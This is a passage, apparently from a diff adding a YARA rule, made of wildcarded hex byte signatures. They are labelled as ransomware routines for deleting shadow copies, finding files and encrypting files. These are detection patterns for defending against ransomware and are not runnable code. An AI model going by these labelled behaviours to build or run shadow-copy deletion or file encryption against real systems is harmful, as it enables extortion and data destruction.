?? ?? ?? ?? 8B D8 85 DB 74 ?? 81 FB + ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 FF 39 7C 24 ?? 76 ?? 33 F6 0F 1F 84 00 ?? ?? ?? ?? + 8B 44 24 ?? 83 7C 06 ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 34 06 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 75 ?? 8B 44 24 ?? FF 34 06 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 50 8D 84 24 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 ?? FF 74 24 ?? FF 15 ?? ?? + ?? ?? 81 FB ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 5C 24 ?? 8B 44 24 ?? + 05 ?? ?? ?? ?? 83 EB ?? 89 44 24 ?? 89 5C 24 ?? 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 8B 5C + 24 ?? 46 81 C3 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 3B 32 0F 8C ?? ?? ?? ?? 68 ?? ?? + ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 33 + C0 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $delete_shadow_copies_v1_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 6A ?? 6A ?? FF 15 + ?? ?? ?? ?? 85 C0 79 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B + 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A + ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 79 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF + 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8D 85 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A + ?? 68 ?? ?? ?? ?? FF D7 85 C0 78 ?? 68 ?? ?? ?? ?? FF D3 8B F0 8D 85 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 11 56 51 FF 52 ?? 8B F0 8D 85 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 85 F6 0F 88 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D7 85 C0 79 ?? 50 68 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D3 8B 8D + ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 8B 11 6A ?? 6A ?? 6A ?? 6A + ?? 6A ?? 56 51 FF 52 ?? 56 8B F8 FF 15 ?? ?? ?? ?? 85 FF 79 ?? 57 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8B 08 50 FF 51 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? + 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 79 ?? 50 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8B 08 50 FF 51 ?? 8B 85 ?? ?? + ?? ?? 50 8B 08 FF 51 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 68 ?? ?? ?? ?? 8B F8 FF + } + $delete_shadow_copies_v1_p2 = { + D3 8B 8D ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 6A ?? + 8B 11 6A ?? 56 57 51 FF 52 ?? 57 8B 3D ?? ?? ?? ?? 8B D8 FF D7 56 FF D7 85 DB 79 ?? + 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8B 08 50 FF 51 ?? 8B 85 + ?? ?? ?? ?? 50 8B 08 FF 51 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 01 8D 95 ?? ?? ?? ?? 52 8D 95 + ?? ?? ?? ?? 52 6A ?? 6A ?? 51 FF 50 ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 6A ?? 52 8B 08 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? + FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D3 83 C4 ?? FF B5 ?? ?? ?? + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A + ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8B F8 8D 85 ?? ?? ?? ?? 0F 57 C0 57 56 6A ?? 6A ?? 6A ?? 6A ?? 6A + ?? 6A ?? 50 6A ?? 0F 11 07 FF 15 ?? ?? ?? ?? 6A ?? FF 37 FF 15 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 50 8B 08 FF 51 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 85 C9 0F 85 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 08 FF 51 ?? 8B 85 ?? ?? ?? ?? 50 8B 08 FF 51 ?? 8B 85 + ?? ?? ?? ?? 50 8B 08 FF 51 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 5F 5E 33 CD + 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_v1_p1 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 + ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F9 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 37 83 C4 ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F 57 C0 C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 + ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 6A ?? 56 8D 8D ?? ?? ?? + ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? + 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? FF + 15 ?? ?? ?? ?? 50 FF 37 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E9 + ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 + ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C6 45 ?? ?? 8B + } + $encrypt_files_v1_p2 = { + 85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 75 ?? 8B 8C 0D ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 01 6A ?? 52 FF 50 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? EB + ?? 0F 57 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 85 ?? + ?? ?? ?? C6 45 ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 ?? 6A ?? + C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 03 BD ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B B5 ?? + ?? ?? ?? 8D 45 ?? FF 76 ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 45 ?? FF 76 ?? 6A ?? 6A ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? + ?? ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 + 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 6A ?? FF 36 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B + 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 33 F6 E9 ?? ?? ?? ?? 51 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 + 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 8A 01 41 84 + C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A + } + $encrypt_files_v1_p3 = { + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 8B 42 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 ?? 8B + 95 ?? ?? ?? ?? C6 45 ?? ?? 8B 4A ?? 83 BC 0D ?? ?? ?? ?? ?? 75 ?? 8B 8C 0D ?? ?? ?? + ?? 85 C9 74 ?? 8D 85 ?? ?? ?? ?? 3B C8 74 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 4A + ?? 8B 84 0D ?? ?? ?? ?? 85 C0 0F 94 85 ?? ?? ?? ?? C6 45 ?? ?? A8 ?? 75 ?? 8B 8C 0D + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 01 6A ?? 52 FF 50 ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? EB ?? 0F 57 + C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? + C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? + 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 ?? C6 45 ?? + ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? ?? 85 F6 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E9 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 83 78 ?? ?? 0F 85 ?? ?? ?? ?? 81 FF ?? ?? ?? ?? 0F 87 ?? ?? + ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 66 90 BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 3B FE 6A ?? 0F + 42 F7 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 6A + } + $encrypt_files_v1_p4 = { + 6A ?? 6A ?? 56 FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D + 8D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 46 ?? 50 FF B5 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 03 C6 89 85 ?? ?? + ?? ?? 2B FE 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B CF C1 E1 ?? 2B CF 03 C9 83 F9 ?? 0F + 82 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 E1 8B FA C1 EF ?? 0F 1F 00 BE ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? 3B FE 6A ?? 0F 42 F7 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 + ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? + 8D 46 ?? 50 FF B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 + C0 ?? 03 C6 89 85 ?? ?? ?? ?? 2B FE 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? + 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? FF 37 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 83 3D ?? ?? ?? ?? ?? + 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? + ?? ?? 50 FF 37 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 + } + $find_files_v2 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 45 + ?? 53 8B 5D ?? 56 57 53 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 4C 24 + ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 8B F0 89 74 24 ?? 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 50 53 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B + 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 + 24 ?? 50 FF D7 85 C0 74 ?? F7 44 24 ?? ?? ?? ?? ?? 75 ?? 8D 44 24 ?? 50 53 8D 84 24 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 44 24 ?? ?? 74 ?? BE ?? ?? + ?? ?? 8D 44 24 ?? 50 FF 36 FF D7 85 C0 74 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? FF 74 + 24 ?? 8B 4C 24 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 8D 44 24 ?? 50 + 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? + ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 74 ?? 8D 4C 24 ?? 3B C1 74 ?? 68 ?? ?? ?? ?? 83 C0 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 33 C0 66 89 84 24 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 50 FF 36 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 C6 ?? + 81 FE ?? ?? ?? ?? 7C ?? 8B 74 24 ?? 8B CB E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? FF 74 24 ?? 50 E8 ?? ?? ?? + ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 0F 85 + } + $encrypt_files_v2_p1 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 + 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 43 ?? 8B 73 ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 6A ?? 50 89 B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? + 0F 57 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? + 6A ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 6A ?? 56 8D + 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 + E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? + ?? 74 ?? FF 15 ?? ?? ?? ?? 50 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 33 F6 E9 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B + 01 FF 50 ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C6 45 + ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 75 ?? 8B 8C 0D + } + $encrypt_files_v2_p2 = { + 8D 95 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 01 6A ?? 52 FF 50 ?? C6 45 ?? ?? 8B 85 ?? ?? + ?? ?? EB ?? 0F 57 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F + 11 85 ?? ?? ?? ?? C6 45 ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 + ?? 6A ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 83 EC ?? 03 B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 33 F6 E9 ?? ?? ?? ?? 6A ?? 56 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? + 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? + ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 33 C9 83 C4 ?? 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 51 E8 ?? ?? ?? + ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 + E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 81 FE ?? ?? ?? ?? 73 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 EB + ?? 8D 0C B6 B8 ?? ?? ?? ?? C1 E1 ?? F7 E1 8D 45 ?? 50 8D 45 ?? C1 EA ?? 50 6A ?? 6A + ?? 6A ?? 6A ?? 8B C6 2B C2 6A ?? 50 57 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 45 + ?? 83 C4 ?? 57 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 + } + $encrypt_files_v2_p3 = { + 57 6A ?? 6A ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 8D + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? + 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 + 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + 